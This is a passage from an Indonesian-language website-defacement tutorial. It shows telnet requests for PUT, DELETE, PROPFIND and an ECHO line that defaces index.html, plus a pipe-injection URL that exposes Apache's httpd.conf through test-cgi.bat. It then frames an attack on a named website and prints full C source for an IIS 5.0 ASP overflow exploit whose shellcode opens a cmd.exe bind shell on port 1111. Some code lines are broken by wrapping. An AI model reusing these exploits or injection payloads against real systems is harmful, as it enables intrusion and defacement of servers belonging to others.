Kode sumber HTML dari halaman index.html yang terletak pada server akan dikembalikan atau jika di request pada halaman server side seperti ASP atau JSP... maka secara dinamis menciptakan dan membuat halaman HTML.
PUT : digunakan untuk membuat suatu file pada server tersebut... membutuhkan write access pada direktori virtual tertentu dimana file tersebut dibuat.
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PUT /analyzing.txt HTTP/1.1\r\n\r\n
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error...sebagaimana halnya bahwa wwwroot tidak akan pernah memiliki write access..
DEL : untuk mengahpus suatu halaman pada webserver tersebut... memerlukan write access pada direktori virtual tertentu dimana file tersebut dihapus.
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
del /index.html HTTP/1.1\r\n\r\n
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error.. yang menyatakan bahwa wwwroot tidak dapat menggunakan write access..
ECHO : Printing tool.. sama halnya dengan file Batch pada DOS.. Outputnya dapat diarahkan..
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
ECHO defaced by Abhisek Datta >> /index.html HTTP/1.1\r\n\r\n
PROPFIND : Digunakan sebagai sebuah request untuk browsing direktori... (pada IIS... terdapat sebuah administrative tool yang digunakan untuk menganalisa web server)
Contoh:
Microsoft Telnet>telnet astalavista.com 80
Connected to astalavista.com……
PROPFIND / HTTP/1.1
Host:iis-server
Content-Length:0
Output :
Kemungkinan besar anda akan mendapatkan pesan 403 Forbidden Error... yang menyatakan bahwa wwwroot tidak menggunakan write access..
Untuk menguji permisi write access terhadap direktori dalam Microsoft IIS dengan cara yang sedikit rumit. Ikuti metode berikut ini:
Untuk menguji apakah permisi write dalam keadaan 'enabled' terhadap telnet anonymous web client menjadi kedalam port web server biasanya port TCP 80 dan buatlah request berikut ini:
PUT /scripts/abhisek.asp HTTP/1.1
Host: iis-server
Content-Length: 10 <enter><enter>
Pada bagian ini server akan meresponnya dengan pesan 100 Continue
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
Saat menerima ini ketiklah 10 huruf
AAAAAAAAAA
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
Jika server meresponnya dengan respon 201 Created maka permisi Write dalam keadaan 'enabled'
Execution Access : Halaman Server side (ASP, JSP, PHP) ,dll (dynamic link libraries) etc yang seringkali digunakan saat ini pada website berbasiskan database yang secara dinamis membuat HTML dan mengirimkannya ke browser. Halaman server side ini dan file executable lainnya termasuk .dll dan .exe memerlukan execution privilege pada direktori virtual ditempat mereka berada. Umumnya seluruh file .dll, .asp, dan .exe memerlukan execution privilege yang berada dalam direktori virtual tunggal.
Directory Browsing : Seringkali web server (untuk lebih spesifik... direktori virtual dari web server) terkonfigurasi sedemikian rupa untuk menyediakan akses browsing direktori untuk seluruh client atau client khusus melalui otentikasi yang sesuai. Pada dasarnya browsing direktori dimaksudkan bahwa anda dapat menyusun daftar file dan folder yang ada dalam direktori virtual yang anda buat seakan-akan itu adalah computer anda. Untuk alasan keamanan banyak website mematikan fitur ini. Dengan exploit anda bisa mendapatkan Directory Listing dari suatu direktori virtual.
Ekploitasi terhadap Directory Listing pada Apache (win32) :
Satu dari sekian banyak Apache web server (win32) 2.1.x (saya tidak yakin mengenai versi) berisi default file .bat yang bernama test-cgi.bat dalam direktori cgi-bin. Yang sebenarnya tersedia juga agar administrator sistem dapat menguji privilege dari direktori cgi-bin yang berisikan seluruh script cgi dan perl. Tentunya direktori virtual cgi-bin memiliki execution permission.
Keadaan ini dieksploitasi untuk serangan. Pada dasarnya saat suatu file .bat pada Apache web server (win32) disebut Execution DOS (Disk Operating System) Shell yang dapat dieksekusi. Sekarang kita dapat menggunakan karakter | (pipe) selama memanggil file batch untuk mengeksekusi perintah pada remote server. Serangan URL akan terlihat seperti dibawah ini :
http://www.target.com/cgi-bin/test-cgi.bat?|copy+..\conf\httpd.conf+..\htdocs\httpd.c onf
Jadi dengan serangan URL ini apa yang telah saya lakukan adalah mengcopy file httpd.conf dari direktori conf yang pastinya memiliki read access terhadap Apache web root! seperti folder virtual htdocs. Sekarang kita bisa dengan mudah mendownload file httpd.conf menggunakan URL http://www.target.com/httpd.conf yang sekarang terletak pada Apache web root.
Catatan: Untuk hal ini bila anda tidak mengenal Apache dan tidak mengetahui apakah file httpd.conf tersebut? OK, dalam Apache anda harus mengonfigurasi seluruh web server menggunakan perintah dan script yang berada dalam file httpd.conf dalam folder c:\apache group\apache\conf dari instalasi default apache pada sistem windows umumnya. File ini berisikan seluruh setting web server sasaran dan dengan beberapa cara jika kita dapat mengatur penanganan file ini maka kita mendapatkan informasi yang jelas mengenai seluruh setting dari web server termasuk lokasi log file, directory permission, write access, authentication level dsb.
MEMERIKSA VULNERABILITY YANG ADA
Kebanyakan website yang terdeface dan dihack menggunakan vulnerability yang berkenaan dengan software server atau sistem operasi yang dijalankan oleh software server tersebut.
Banyak dari mereka yang disebut hacker mendeface website berdasarkan vulnerability yang ditemukan oleh orang-orang yang semestinya disebut "Hacker".
Ada baiknya anda harus mengetahui apakah vulnerability itu? vulnerability sebenarnya adalah cacat yang ada pada arsitektur software yang memungkinkan seorang hacker atau malicious cracker memiliki kendali lebih jauh pada sistem atau membuat kewenangan perintah sistem terhadap server. Ada beberapa vulnerability yang terdapat pada seluruh software. Pada dasarnya, dahulu saya mendengar bahwa para hacker dimanfaatkan untuk menemukan cacat dan vulnerability pada software mereka sendiri. Tapi sekarang hanya beberapa orang yang masih melakukannya. Ada banyak situs yang bagus seperti:
http://www.securityfocus.com
http://www.packetstorm.org
http://www.guininski.com
http://www.insecure.org
http://www.securiteam.com
http://www.slashdot.org
http://www.technotronic.com
Situs-situs ini berisikan lebih dari cukup tentang vulnerability mutakhir yang akan membantu anda memulai sesuatu. Bahkan jika anda berpengalaman, saya yakin anda akan mendapatkan bantuan dari situs ini.
CODING EXPLOIT :
Katakanlah, anda menetapkan melakukan hacking website http://www.anisurrahman.net (beh!! Anisur akan menendang bokong saya jika dia membaca artikel ini). Menggunakan metode yang dijelaskan diatas, anda dapat dengan mudah menemukan bahwa website tersebut dijalankan pada software server Microsoft IIS 5.00. Sekarang waktunya untuk mencari exploit (saya memperkirakan bahwa anda bukanlah seorang hackeryang dapat menemukan vulnerability sendiri.. jika tidak.. anda tidak perlu membaca artikel ini). bahkan jika anda menemukan beberapa overflow atau malicious vulnerability pada software web server dari situs yang disebutkan diatas anda harus menulis program (dengan bahasa C atau Perl) untuk mengimplementasikan exploit terhadap vulnerability yang ada. Untuk hal ini anda harus memiliki pengetahuan yang baik mengenai latar belakang pemrograman socket. Jika anda tidak dapat menulis exploit anda sendiri anda bisa mendownload code exploit yang ditulis dalam bahasa seperti C, Perl, JAVA (sangat jarang). Tapi jika anda mendownload exploit yang memungkinkan anda mendapatkan root shell pada web server target yang ditulis dalam bahasa C, maka saat melakukan kompilasi, saya yakin anda akan menemukan banyak error karena syntak dan fungsi yang sedikit berbeda dari satu compiler dengan compiler lainnya. Sekarang anda akan menyatakan perlunya penguasaan pemrograman.
Berikut ini daftar dari vulnerability yang ada disertai code exploit.
1. Exploit ASP overflow ini akan membuka port 1111 dan membuat cmd.exe. Seharusnya tertulis abhwa setiap kali anda menjalankan exploit ini dan suatu pesan akan muncul bahwa exploit ini bekerja dengan sempurna. Bagaimanapun, tidaklah dimaksudkan bahwa anda bisa mendapatkan akses ke host target, karena pada beberapa kejadian ada kotak pesan yang terlihat pada terminal sasaran yang memberitahukan bahwa telah terjadi pelanggaran akses (Acess Violation).
/* Windows 2000 Server Exploit By CHINANSL Security Team.
Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.
Warning:THIS PROGRAM WILL ONLY TEST.
CHINANSL Technology CO.,LTD http://www.chinansl.com
keji@chinansl.com
use MS VC++ to compile this piece of code
*/
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")
int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port aspfilepath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");
return 0;
}
DWORD srcdata=0x01e2fb1c-4;//0x00457474;
file://address of SHELLCODE
DWORD jmpaddr=0x00457494; file://0x77ebf094;/ /0x01e6fcec; file://"\x1c\xfb\xe6\x01"; file://"\x0c\xfb\xe6\x01";
char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; file://16 bytes
WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}
struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==-1)
{
puts("Socket create error");
return -1;
}
if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}
char buff[4096];
char* shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\x fc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x 65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x 33\x32\x2e\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\x2e\x ab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x 53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\x ff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\x fc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x 33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\x be\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x 56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\x fc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\x fc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x 89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x 75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\x ff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x 13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x 89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x 8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\x c0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\x c8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x 01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x 45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\x ff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x 89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x 9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x 8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\x b1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x 01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x 40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x 8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x 80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\x ff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\x ff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\x ff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\x ff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x 85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\x ff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x 90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x 90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\x c0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\x c0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\x b5\x30\xff\xff"
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\x b4\xff\x75\xc4"
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\x ff\xff\xff\x6a"
"\xff\xff\x95\x18\xff\xff\xff";
char* s1="POST ";// HTTP/1.1\r\n";
char* s2="Accept: */*\r\n";
char* s4="Content-Type: application/x-www-
form-urlencoded\r\n";
char* s5="Transfer-Encoding:
chunked\r\n\r\n";
char* sc="0\r\n\r\n\r\n";
char shellcodebuff[1024*8];
memset(shellcodebuff,0x90,sizeof
(shellcodebuff));
memcpy(&shellcodebuff[sizeof(shellcodebuff)-
strlen(shellcode)-1],shellcode,strlen(shellcode));
shellcodebuff[sizeof(shellcodebuff)-1] = 0;
char sendbuff[1024*16];
memset(sendbuff,0,1024*16);
sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost: %s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s", s1,
destFile, shellcodebuff, s2, destIP, s4,s 5, pad/*,srcdata,jmpaddr*/, sc);
int sendlen=strlen(sendbuff);
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;
result=send(s,sendbuff,sendlen,0);
if(result == -1 )
{
puts("Send shellcode error!");
return -1;
}
memset(buff,0,4096);
result=recv(s,buff,sizeof(buff),0);
if(strstr(buff,"<html>") != NULL)
{
shutdown(s,0);
closesocket(s);
puts("Send shellcode error!Try again!");
return -1;
}
shutdown(s,0);
closesocket(s);
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");
return 0;
}